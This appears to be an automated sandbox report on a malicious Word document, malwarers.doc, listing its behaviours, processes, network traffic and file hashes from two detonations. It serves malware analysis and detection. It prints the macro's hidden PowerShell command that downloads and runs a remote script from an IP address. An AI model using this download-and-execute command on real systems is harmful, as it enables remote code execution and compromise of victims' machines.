Analysis Overview
SHA256
1c8d2db41d2ffc6da5c52a203ec8be94253c35b27e073447889c8af3cfa1be4f
Threat Level: Known bad
The file malwarers.doc was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Office macro that triggers on suspicious action
Suspicious Office macro
Command and Scripting Interpreter: PowerShell
Drops file in Windows directory
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
Enumerates system info in registry
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-06 08:20
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-06 08:20
Reported
2024-08-06 08:23
Platform
win7-20240708-en
Max time kernel
117s
Max time network
121s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malwarers.doc"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe –WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.246/1234567892222.ps1')
Network
| Country | Destination | Domain | Proto |
| N/A | 192.168.1.246:80 | tcp |
Files
memory/1908-0-0x000000002F5F1000-0x000000002F5F2000-memory.dmp
memory/1908-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1908-2-0x00000000710AD000-0x00000000710B8000-memory.dmp
memory/1908-8-0x0000000006030000-0x0000000006130000-memory.dmp
memory/1908-13-0x00000000006D0000-0x00000000007D0000-memory.dmp
memory/1908-14-0x0000000006030000-0x0000000006130000-memory.dmp
memory/1908-17-0x00000000710AD000-0x00000000710B8000-memory.dmp
memory/1908-18-0x0000000006030000-0x0000000006130000-memory.dmp
memory/1908-19-0x0000000006030000-0x0000000006130000-memory.dmp
memory/1908-20-0x00000000006D0000-0x00000000007D0000-memory.dmp
memory/1908-26-0x00000000006D0000-0x00000000007D0000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
| MD5 | 5160e55f3f2de2ae2d2eeacffc204c8e |
| SHA1 | a56177bd6f325dbb5269906ee4a37c6c4b737024 |
| SHA256 | f6bcd9a636ed4db5a734c7d3db9304903ffbf4819507136b0d747810279b9ce1 |
| SHA512 | 955c7b542931ee51c66c6982c725100850bc371b0262803ef44b4f18664a922d8082bca1e3c0b41bd71b84b235e92a318ae2614b4499ef101120436ed0ea13a2 |
memory/1908-41-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1908-43-0x00000000006D0000-0x00000000007D0000-memory.dmp
memory/1908-42-0x00000000710AD000-0x00000000710B8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-06 08:20
Reported
2024-08-06 08:23
Platform
win10v2004-20240802-en
Max time kernel
106s
Max time network
108s
Command Line
Signatures
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malwarers.doc" /o ""
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 66.112.168.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | metadata.templates.cdn.office.net | udp |
| GB | 92.123.26.202:443 | metadata.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | 18.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | binaries.templates.cdn.office.net | udp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| GB | 88.221.134.147:443 | binaries.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | 202.26.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
Files
memory/1936-0-0x00007FF93E410000-0x00007FF93E420000-memory.dmp
memory/1936-3-0x00007FF93E410000-0x00007FF93E420000-memory.dmp
memory/1936-2-0x00007FF93E410000-0x00007FF93E420000-memory.dmp
memory/1936-1-0x00007FF97E42D000-0x00007FF97E42E000-memory.dmp
memory/1936-5-0x00007FF93E410000-0x00007FF93E420000-memory.dmp
memory/1936-4-0x00007FF93E410000-0x00007FF93E420000-memory.dmp
memory/1936-8-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-10-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-12-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-11-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-9-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-15-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-16-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-19-0x00007FF93BCB0000-0x00007FF93BCC0000-memory.dmp
memory/1936-18-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-17-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-14-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-13-0x00007FF93BCB0000-0x00007FF93BCC0000-memory.dmp
memory/1936-7-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-6-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-24-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-25-0x00007FF97E42D000-0x00007FF97E42E000-memory.dmp
memory/1936-26-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
memory/1936-27-0x00007FF97E390000-0x00007FF97E585000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\TCD2C04.tmp\gb.xsl
| MD5 | 51d32ee5bc7ab811041f799652d26e04 |
| SHA1 | 412193006aa3ef19e0a57e16acf86b830993024a |
| SHA256 | 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97 |
| SHA512 | 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810 |
memory/1936-291-0x00007FF93E410000-0x00007FF93E420000-memory.dmp
memory/1936-292-0x00007FF93E410000-0x00007FF93E420000-memory.dmp
memory/1936-294-0x00007FF93E410000-0x00007FF93E420000-memory.dmp
memory/1936-293-0x00007FF93E410000-0x00007FF93E420000-memory.dmp
memory/1936-295-0x00007FF97E390000-0x00007FF97E585000-memory.dmp